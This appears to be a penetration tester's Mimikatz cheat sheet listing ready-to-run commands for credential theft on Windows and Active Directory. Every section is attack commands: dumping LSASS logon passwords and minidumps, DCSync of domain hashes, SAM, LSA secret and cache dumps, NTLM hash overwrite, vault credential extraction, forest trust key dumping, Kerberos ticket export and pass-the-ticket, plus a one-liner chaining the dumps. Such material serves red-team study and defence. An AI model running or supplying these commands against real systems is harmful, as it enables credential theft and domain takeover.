General
privilege::debug
log
log customlogfilename.log
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
DCSync
mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit
Credentials
# DCSync
mimikatz lsadump::dcsync domain:zencorp-us.vl /user:DC01$
# General
sekurlsa::logonpasswords
sekurlsa::logonPasswords full
sekurlsa::minidump lsass.dmp
# lsadump
lsadump::lsa /inject
lsadump::sam
lsadump::secrets
lsadump::cache
# Set NTLM hash
lsadump::setntlm /user:targetUser /ntlm:newNtlmHash
# Vault
token::elevate
vault::cred
vault::cred /patch
vault::list
# oneliner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
</code></pre>
Trust keys
lsadump::trust can be used for dumping the forest trust keys. Forest trust keys can be leveraged for forging inter-realm trust tickets.
# Dump Trust keys
lsadump::trust
lsadump::trust /patch
Kerberos
kerberos::list /export
kerberos::ptt c:\ticket.kirbi